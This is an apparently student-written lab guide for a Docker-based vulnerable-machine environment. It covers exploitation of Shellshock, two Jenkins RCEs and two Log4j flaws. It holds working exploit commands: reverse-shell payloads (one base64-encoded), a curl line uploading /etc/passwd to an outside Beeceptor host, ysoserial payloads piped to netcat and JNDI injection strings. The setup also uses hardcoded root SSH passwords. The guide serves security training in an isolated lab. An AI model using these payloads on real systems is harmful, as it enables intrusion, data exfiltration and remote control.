Khasan Abdurakhmanov 
Innopolis University 
TABLE OF CONTENTS
The Vulnerable-Nodes-Lab project is a collection of various vulnerable containers and machines designed for security researchers and ethical hackers to practice exploitation techniques and understand vulnerabilities. This lab includes different setups for exploiting known vulnerabilities in various services and applications.
The main idea of Vulnerable-Nodes-Lab is to provide an environment where users can practice and understand the exploitation of different vulnerabilities in a controlled setting. It includes pre-configured Docker environments and scripts to simulate real-world vulnerabilities. Each folder within the project represents a specific vulnerability or a set of related vulnerabilities, complete with necessary files, configurations, and documentation to guide users through the exploitation process.
In order to gain a comprehensive understanding of the vulnerabilities you are dealing with and to exploit them effectively, it is imperative to have a collection of specific tools at your disposal. Here is a list of the essential tools you will need:
Docker
Docker is a platform that has gained wide acceptance for containerization. It greatly simplifies the process of managing and deploying applications in containers, making it a vital tool for any developer.

Beeceptor
Beeceptor is a free online tool that provides a set of features to help developers test and debug their APIs. It allows you to create mock API endpoints that mimic the behavior of real APIs. You can define the expected request parameters, headers, and body, and specify the response that should be returned.

In addition to Docker, this guide will also use Docker Compose to define and manage the multi-container application. Docker Compose allows you to define the services, networks, and volumes required for the application in a single configuration file, making it easier to set up and manage the environment.

There are only one way provided to set up Vulnerable-Nodes-Lab using Docker Compose.
git clone https://github.com/SNE-M23-SN/Vulnerable-Nodes-Lab.git
cd Vulnerable-Nodes-Lab/


docker compose up -d



Deploying the Windows 10 container may take a significant amount of time due to the large size of the Vagrant Box (over 10 GB) that needs to be downloaded and deployed. To speed up the initial deployment, you can comment out the win10 service in the docker-compose.yml file. This will allow you to deploy the rest of the vulnerable environment without waiting for the Windows 10 container to be set up.
Once the initial deployment is complete, you can uncomment the win10 service and run docker-compose up -d again to deploy the Windows 10 container separately.
Also in order to Windows 10 to run correctly you need to wait at least 20 minutes to get the VM booted and here how will the logs look like of ready container:







In order to connect to Windows 10 VM via RDP we should have xfreerdp preinstalled on our machine.
The Windows Vagrant box that we have installed has two built-in accounts:
vagrantvagrantAdministratorvagrant

To access the containers using their hostnames, we need to add the corresponding entries in the /etc/hosts file. Here’s how to do it:
Open the /etc/hosts file with administrative privileges:
sudo nano /etc/hosts
Add the following lines at the end of the file, replacing the IP addresses with the actual IP addresses of your containers:
192.168.1.5 shellshock
192.168.1.6 jenkins
192.168.1.7 phpmyadmin
192.168.1.8 mysql
192.168.1.9 telnetserver
192.168.1.10 kali
192.168.1.11 solr-log4j
192.168.1.12 trevorc2
192.168.1.13 vul-linux
192.168.1.14 http-server
192.168.1.15 merlin
192.168.1.16 merlin
# Add more entries for other containers as needed
Make sure to use the correct IP addresses for your containers. You can find the IP addresses by running docker inspect <container_name> and looking for the IPAddress field.

By adding these entries in the /etc/hosts file, your system will resolve the container hostnames to their respective IP addresses, allowing you to connect to the containers using their names instead of IP addresses.
In this guide, we will walk through the exploitation process for a specific vulnerability, providing detailed steps and explanations along the way.
We’ll start by exploiting the Shellshock vulnerability in the Bash shell, which allows an attacker to execute arbitrary code.

CVE-2014-6271 is a security vulnerability commonly known as Shellshock. It was discovered in the Bash shell, which is widely used in Unix-based systems. The vulnerability allows attackers to execute arbitrary code on a server running a vulnerable version of Bash. The flaw occurs due to improper handling of environment variables, allowing attackers to inject malicious code into Bash scripts.
4.3.27.1.03.The vulnerability is caused by improper parsing of environment variables in Bash. When Bash processes environment variables, it allows for function definitions within the variables. This improper handling allows attackers to inject and execute arbitrary code through environment variables.
An example of a vulnerable environment variable:
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
In this example, the x variable contains a function definition followed by an arbitrary command (echo vulnerable). When Bash processes this variable, it executes the command, demonstrating the vulnerability.
An attacker can exploit this vulnerability in various ways, such as sending malicious HTTP headers to a web server using a vulnerable version of Bash. For example, an attacker can craft a User-Agent header containing malicious code.
When you visit http://your-ip:32872/ you should see two files:
safe.cgi generated by the latest version of Bash, and victim.cgi is the page generated by Bash4.3 which is vulnerable to Shellshock.


curl to send a malicious User-Agent header to a vulnerable CGI script. The following command will attempt to read the contents of /etc/passwd:curl -H "User-Agent: () { :;}; echo; /bin/cat /etc/passwd" http://localhost:32872/victim.cgi
Execute the Exploit: Run the command in your terminal. If the server is vulnerable, it will return the contents of the /etc/passwd file.

Reverse Shell Example: To gain a reverse shell, you can use the following command:
curl -H "User-Agent: () { :foo; }; echo Content-Type: text/palin; echo; /bin/bash -c 'bash -i >& /dev/tcp/your_ip/your_port'" http://localhost:32872/victim.cgi


The safe.cgi script is not vulnerable to Shellshock, so the exploit payload we discussed earlier will not work on that script.

This suggests that the safe.cgi script is properly handling the malformed User-Agent header and is not executing the injected commands.
To mitigate the CVE-2014-6271 vulnerability, it is crucial to update Bash to the latest version. Apply security patches provided by your operating system vendor. Additionally, consider the following measures:
The purpose of this HTTP server is to provide a simple way to serve files from the Files folder in this isolated network. It can be used in conjunction with other vulnerable services or as a standalone component for file sharing or hosting.

When you run the http-server container, it will start the Python HTTP server and serve files from the /files directory, which is mapped to the Files folder on the host machine through a volume mount.
Base Image: The Dockerfile uses ubuntu:20.04 as the base image.
Dependencies: It installs several packages, including:
python3, python3-pip, python3-requests)openssh-server)SSHD Configuration: The SSH server is configured to allow root login with the password toor:
PermitRootLogin is set to yesPasswordAuthentication is enabledUsePAM is disabledtoorEntrypoint: The entrypoint script (entrypoint.sh) starts a Python HTTP server that serves files from the /files directory on port 80.
entrypoint.sh)#!/bin/bash
set -e
# Start Python HTTP server
/usr/bin/python3 -m http.server --directory /files 80
status=$?
if [ $status -ne 0 ]; then
echo "Failed to start Python Web Server: $status"
exit $status
fi
/files directory.Okay, let’s take a closer look at the http-server service configuration in the docker-compose.yml file:
http-server:
build: ./http-server
container_name: http-server
hostname: http-server
stdin_open: true
tty: true
ports:
- "80:80"
- "22:22"
volumes:
- ./files:/files
networks:
vulhubnet:
ipv4_address: 192.168.1.14
Build: The build: ./http-server directive tells Docker Compose to build the Docker image for the http-server service using the Dockerfile located in the ./http-server directory.
Container Name and Hostname: The container_name: http-server and hostname: http-server settings give the container a specific name and hostname.
Interactive Shell: The stdin_open: true and tty: true options allow you to attach to the container and interact with it in an interactive shell.
Port Mapping: The ports section maps the container’s ports to the host’s ports:
80:80 maps the container’s port 80 (HTTP) to the host’s port 80.22:22 maps the container’s port 22 (SSH) to the host’s port 22.Volume Mounting: The volumes section mounts the ./files directory on the host to the /files directory inside the container. This allows the HTTP server to serve files from the Files folder.
Network Configuration: The networks section assigns the http-server container to the vulhubnet network and sets a specific IP address (192.168.1.14) for the container.
In summary, this configuration sets up an HTTP server container that serves files from the Files folder on the host machine. The container is accessible on the host’s port 80 (for HTTP) and port 22 (for SSH). The container is also part of a custom network called vulhubnet with a specific IP address.
This setup is likely designed to be part of a larger vulnerable infrastructure, where the HTTP server can be used in conjunction with other vulnerable services or as a standalone component for file sharing or hosting.
The merlin service in the docker-compose.yml file is a container running the Merlin post-exploitation framework. Merlin is a useful Command and Control tool that works on multiple platforms and is written in Go. It has two parts: the server and the agent. It uses the HTTP/2 protocol. The best features of Merlin are that it can run on any platform and you can build it from the source code.

Usually, agents are installed on Windows and monitored from Linux, but because Merlin is written in Go, agents can be installed on any platform and monitored from any platform. This makes it very effective for red teaming as IDS/IPS systems find it hard to detect.
merlin:
image: ne0nd0g/merlin
container_name: merlin
hostname: merlin
stdin_open: true
tty: true
volumes:
- ./merlin/server-log:/opt/merlin/data/log
- ./merlin/agent-log:/opt/merlin/data/agents
networks:
vulhubnet:
ipv4_address: 192.168.1.15
Image: The image: ne0nd0g/merlin directive specifies that the container should use the ne0nd0g/merlin Docker image, which contains the Merlin server.
Container Name and Hostname: The container_name: merlin and hostname: merlin settings give the container a specific name and hostname.
Interactive Shell: The stdin_open: true and tty: true options allow you to attach to the container and interact with it in an interactive shell.
Volume Mounting:
volumes section mounts two directories from the host to the container:
./merlin/server-log:/opt/merlin/data/log mounts the server-log directory on the host to the /opt/merlin/data/log directory inside the container, which is likely used for storing Merlin server logs../merlin/agent-log:/opt/merlin/data/agents mounts the agent-log directory on the host to the /opt/merlin/data/agents directory inside the container, which is likely used for storing logs from Merlin agents.Network Configuration: The networks section assigns the merlin container to the vulhubnet network and sets a specific IP address (192.168.1.15) for the container.
Under the hood, the Merlin server runs inside the container, listening for incoming connections from Merlin agents. Merlin agents can be deployed on target systems and connect back to the Merlin server for post-exploitation activities, such as executing commands, transferring files, and gathering information.
In our infrastructure, Merlin is used as a tool for exploiting vulnerabilities in our isolated network, vulhubnet. This network contains several containers, each with different vulnerabilities. Merlin helps to manage these exploitations efficiently.
vulhubnet network.In our docker-compose.yml file, we have included the configuration for the jenkins service, which sets up the vulnerable Jenkins environment for the CVE-2018-1000861 vulnerability. In this guide, we will explore two significant vulnerabilities found in Jenkins, a popular automation server. We will discuss the meaning of each vulnerability and demonstrate how to exploit them. The vulnerabilities we will cover are:
CVE-2017-1000353CVE-2018-1000861We will also provide examples of how these vulnerabilities can be exploited using our Docker setup.
To set them up, you need Docker Engine and Docker Compose preinstalled. Simply execute the command docker compose up -d.

Jenkins versions before 2.44 and Jenkins LTS versions before 2.32.2.2.44.2.44 and Jenkins LTS 2.32.2.CVE-2017-1000353 is identified as a remote code execution vulnerability within the Jenkins software. The root cause of this vulnerability lies in the insufficient input validation in the Jenkins remoting module. Specifically, the remoting module fails to properly validate serialized data received from external sources. An attacker can exploit this by sending specially crafted malicious serialized data to the Jenkins server. When processed, this data can lead to the execution of arbitrary code, allowing the attacker to take control of the Jenkins server. This can result in severe consequences, including unauthorized access to sensitive information, disruption of services, and further exploitation of the compromised system.
To exploit this vulnerability, an attacker would need to send specially crafted serialized objects to the Jenkins server. The server, upon deserializing these objects, would execute arbitrary code embedded in them.
docker-compose up -d
This will start the Jenkins container with the vulnerable version 2.46.1.

After waiting for the startup to complete, go to http://your-ip:8080. You will see that Jenkins is running successfully without manual installation.

Generate the serialized payload:
CVE-2017-1000353-1.1-SNAPSHOT-all.jar. This is a tool for generating PoC.wget https://github.com/vulhub/CVE-2017-1000353/releases/download/1.1/CVE-2017-1000353-1.1-SNAPSHOT-all.jar

After that, we can execute the next command, but we should ensure that we have the JDK preinstalled.
java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
If you face some problems with the first command the error message indicates that the Java code is unable to access a private field in the java.util.HashSet class due to Java’s module system changes in recent versions. So you can use the second one:
java --add-opens java.base/java.util=ALL-UNNAMED -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
The --add-opens java.base/java.util=ALL-UNNAMED flag opens the java.util package to the unnamed module, allowing the code to access the necessary private field. This should resolve the InaccessibleObjectException and allow you to generate the serialized payload file jenkins_poc.ser successfully.

This will generate a serialized payload file called jenkins_poc.ser that contains the command touch /tmp/success.
Execute the exploit:
First we need to download the exploit and for this we can use the following command:
wget https://github.com/vulhub/CVE-2017-1000353/raw/master/exploit.py
chmod +x exploit.py

After that we can execute our script:
python3 exploit.py http://your-ip:8080 jenkins_poc.ser
Replace your-ip with the IP address or hostname of the system running the Jenkins container.

This Python script will send the serialized payload to the Jenkins server, triggering the vulnerability and executing the command.
Verify the exploit:
After running the exploit, check the container for the /tmp/success file:
docker exec -it your-container-id ls -l /tmp

If the file is present, it indicates that the exploit was successful and the command was executed on the Jenkins server.
To further enhance our understanding and usage of this script, we can take advantage of the following command:
curl -X POST -F "file=@/etc/passwd" https://inno-sne.free.beeceptor.com
This specific command will enable us to send a POST request to the specified URL. As a result of executing this command, what happens is that we upload the contents of the /etc/passwd file directly to the previously created Beeceptor endpoint. This is highly beneficial as it allows us to view and interact with the contents of the – /etc/passwd file through our Beeceptor Endpoint, which we had the foresight to set up in advance. It’s a smart and efficient way to fully utilize this script to our advantage.


This demonstrates how the CVE-2017-1000353 vulnerability can be exploited to execute arbitrary commands on the Jenkins server.

Jenkins versions before 2.138.2 and Jenkins LTS versions before 2.121.3.Jenkins 2.138.2.Jenkins 2.138.2 and Jenkins LTS 2.121.3.CVE-2018-1000861 is yet another serious remote code execution vulnerability in Jenkins. This particular vulnerability arises from a significant weakness in the Stapler web framework used by Jenkins. The core issue was that Stapler did not properly sanitize user inputs, leaving the system open to exploitation. Attackers could leverage this weakness to execute arbitrary code on the server, potentially gaining full control over the affected Jenkins instance. The improper sanitization of inputs allowed malicious users to inject and run their own code, posing a critical security risk to any unpatched Jenkins installations. This made it imperative for administrators to update their systems to the fixed versions to ensure security.
The vulnerability can be exploited by bypassing the Groovy sandbox and executing arbitrary commands:
An attacker could exploit this vulnerability by sending malicious HTTP requests to the Jenkins server, containing crafted payloads that trigger the execution of arbitrary code.
docker-compose up -d
This will start the Jenkins container with the vulnerable version 2.138.

After waiting for the startup to complete, go to http://your-ip:8080. You will see that Jenkins is running successfully without manual installation.

Send a POST request to the following URL:
Make sure you have the correct IP address and port number before sending the request. The URL you need to use is:
http://your-ip:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript>
This URL is specifically designed to check the script for security purposes.
Include the following parameters in the request body:
When you construct the request body, ensure that you include the necessary parameters. The parameters you need to include are:
sandbox=true
value=public class x {
public x(){
"touch /tmp/success".execute()
}
}
The sandbox parameter should be set to true to ensure the script runs in a secure environment. The value parameter should contain the script itself. In this case, it is a simple Groovy script that defines a class x with a constructor that executes a shell command to create a file at /tmp/success. Make sure the syntax and formatting are correct to avoid errors when the script is executed.
Here is the curl command for you to use:
curl -X POST \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "sandbox=true&value=public class x { public x() { \"touch /tmp/success\".execute() } }" \
http://127.0.0.1:8080/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript

touch /tmp/success command will be executed on the Jenkins server, creating the /tmp/success file.
To further enhance our understanding and usage of this script, we can take advantage of the following command:
curl -X POST -F "file=@/etc/passwd" https://inno-sne.free.beeceptor.com
This specific command will enable us to send a POST request to the specified URL. As a result of executing this command, what happens is that we upload the contents of the /etc/passwd file directly to the previously created Beeceptor endpoint. This is highly beneficial as it allows us to view and interact with the contents of the – /etc/passwd file through our Beeceptor Endpoint, which we had the foresight to set up in advance. It’s a smart and efficient way to fully utilize this script to our advantage.


This demonstrates how the vulnerability can be exploited to execute arbitrary commands on the Jenkins server by bypassing the Groovy sandbox through metaprogramming techniques.

The Kali machine in this infrastructure serves as a comprehensive tool for penetration testing and security assessment. Kali Linux is a popular Linux distribution specifically designed for penetration testing, security research, and ethical hacking. By including a Kali machine in our Docker setup, we provide a powerful platform for conducting various security tests and exploits within our isolated network environment.
The Kali machine’s primary purpose is to act as a versatile and robust tool for security testing. It is equipped with a vast array of pre-installed tools and utilities that are essential for conducting penetration tests, vulnerability assessments, and security research. By integrating Kali into our infrastructure, we enable a wide range of testing capabilities, including network scanning, vulnerability exploitation, and post-exploitation activities.
The Kali machine is configured in our Docker setup as follows:
kali:
build: ./kali
container_name: kali
hostname: kali
tty: true
stdin_open: true
ports:
- "22"
networks:
vulhubnet:
ipv4_address: 192.168.1.10
docker-compose.yml:
build: ./kali: This tells Docker Compose to build the Kali Linux container using the Dockerfile located in the ./kali directory.container_name: kali: Assigns the name kali to the container.hostname: kali: Sets the hostname of the container to kali.tty: true and stdin_open: true: Allows you to attach to the container and interact with it in an interactive shell.ports: - "22": Exposes the SSH port (22) of the container to the host.networks: vulhubnet: ipv4_address: 192.168.1.10: Assigns the container to the vulhubnet network and sets a specific IP address (192.168.1.10) for the container.
FROM kalilinux/kali-rolling
ENV DEBIAN_FRONTEND noninteractive
ENV TERM xterm-256color
# Install Kali Headless and enable SSH
RUN rm -fR /var/lib/apt/ && \
apt-get clean && \
apt-get update -y && \
apt-get install -y software-properties-common openssh-server --fix-missing && \
if [ ! -d "/var/run/sshd" ]; then \
mkdir /var/run/sshd; \
fi && \
sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config && \
sed -ri 's/UsePAM yes/#UsePAM yes/g' /etc/ssh/sshd_config && \
echo 'root:kali' | chpasswd
# Update DB and clean up!
RUN apt-get autoremove -y && \
apt-get clean
CMD ["/usr/sbin/sshd", "-D"]
Dockerfile:
FROM kalilinux/kali-rolling: Uses the official Kali Linux rolling release Docker image as the base.ENV DEBIAN_FRONTEND noninteractive and ENV TERM xterm-256color: Sets environment variables to configure the Debian package manager and the terminal type.RUN rm -fR /var/lib/apt/ && ... && apt-get clean: Cleans up the Apt package manager cache and updates the package lists.RUN apt-get install -y software-properties-common openssh-server --fix-missing: Installs the necessary packages, including the OpenSSH server.if [ ! -d "/var/run/sshd" ]; then ... fi: Ensures that the /var/run/sshd directory exists, which is required for the SSH server.sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config: Enables root login for the SSH server.sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /etc/ssh/sshd_config: Enables password authentication for the SSH server.sed -ri 's/UsePAM yes/#UsePAM yes/g' /etc/ssh/sshd_config: Disables PAM (Pluggable Authentication Modules) for the SSH server.echo 'root:kali' | chpasswd: Sets the root password to kali.RUN apt-get autoremove -y && apt-get clean: Performs a final cleanup of the package manager.CMD ["/usr/sbin/sshd", "-D"]: Sets the command to start the SSH server in the foreground when the container is launched.In summary, this setup creates a Kali Linux container with an SSH server enabled, allowing you to connect to the container and use Kali Linux tools for penetration testing and security research purposes. The container is part of the vulhubnet network and has a specific IP address assigned to it.
Apache Log4j is a popular open-source logging framework for Java applications. Its primary purpose is to provide a flexible and efficient way to log information, errors, and other events during the execution of a Java program.

Log4j is designed to be highly configurable, allowing developers to control the logging behavior of their applications.Log4j supports different log levels (e.g., DEBUG, INFO, WARN, ERROR, FATAL) that can be used to control the amount and type of information logged.In this guide, we will focus on two severe vulnerabilities that Apache Log4j is susceptible to:
CVE-2017-5645CVE-2021-44228
2.x <= 2.8.12.x <= 2.8.12.8.2CVE-2017-5645 is a remote code execution vulnerability in Apache Log4j. The issue arises from the SocketServer and Log4j 2 JMS Appender components, which are vulnerable to deserialization attacks. When a specially crafted serialized object is sent to the SocketServer or logged using the JMS Appender, it can lead to the execution of arbitrary code on the server.
The root cause lies in the improper handling of serialized data, which allows an attacker to inject malicious payloads. This can result in a complete system compromise if the server is configured to use these components.
Start the vulnerable environment using the provided docker-compose command:
docker-compose up -d

After the environment starts, a TCPServer will open on port 4712.
By the way, in addition to using Docker image to build an environment, we can start this TCPServer directly from the command line after downloading the log4j jar file:
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-api/2.8.1/log4j-api-2.8.1.jar
wget https://repo1.maven.org/maven2/org/apache/logging/log4j/log4j-core/2.8.1/log4j-core-2.8.1.jar
wget https://repo1.maven.org/maven2/com/beust/jcommander/1.72/jcommander-1.72.jar

Now we can run it in background:
java -cp "log4j-api-2.8.1.jar:log4j-core-2.8.1.jar:jcommander-1.72.jar" org.apache.logging.log4j.core.net.server.TcpSocketServer &

Generate a payload using ysoserial:
First we need to download the ysoserial-master-v0.0.5-gb617b7b-16.jar file.
wget https://github.com/EdoardoVignati/java-deserialization-of-untrusted-data-poc/raw/master/ysoserial-master-v0.0.5-gb617b7b-16.jar

Now we can generate payload
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
Verify the successful exploitation by checking for the /tmp/success file in the container:
docker compose exec -it container-id ls -l /tmp

Also we can execute the command to bounce the shell, first we need to use this service ares-x.com in order to generate payload:
/bin/bash -c "bash -i >& /dev tcp/your-ip/your-port 0>&1"

And now we should open a detached terminal and set up a netcat listener on the port you specified in the payload.

We will send the Payload to the TcpSocketServer:
/usr/lib/jvm/java-8-openjdk-amd64/bin/java -jar ysoserial-master-v0.0.5-gb617b7b-16.jar CommonsCollections5 "bash -c {echo,L2Jpbi9iYXNoIC1jICJiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEuMS44OS8xMDY4NSAwPiYxIg==}|{base64,-d}|{bash,-i}" | nc 127.0.0.1 4712

And the shell is successfully bounced back:


2.x <= 2.14.12.x <= 2.14.12.15.0CVE-2021-44228, also known as Log4Shell, is a critical remote code execution vulnerability in Apache Log4j. The vulnerability is due to improper handling of JNDI lookups in the log4j2 configuration. When an attacker includes a specially crafted string in the log message, Log4j performs a JNDI lookup to a remote server, which can lead to the execution of arbitrary code.
The root cause is the unsafe handling of JNDI lookups, which allows attackers to execute arbitrary code by tricking Log4j into performing lookups on attacker-controlled servers.
Start the vulnerable environment using the provided docker-compose up -d command.

Browse to the Apache Solr admin portal at http://your-ip:8983


Craft a malicious payload using the JNDI injection technique, such as ${jndi:dns://${sys:java.version}.example.com}
Send the payload as the action parameter in the /solr/admin/cores endpoint, e.g., GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Query will be shown at the DNS log:

For full guide you can refer to this page : https://www.manrajbansal.com/post/exploiting-log4j-apache-solr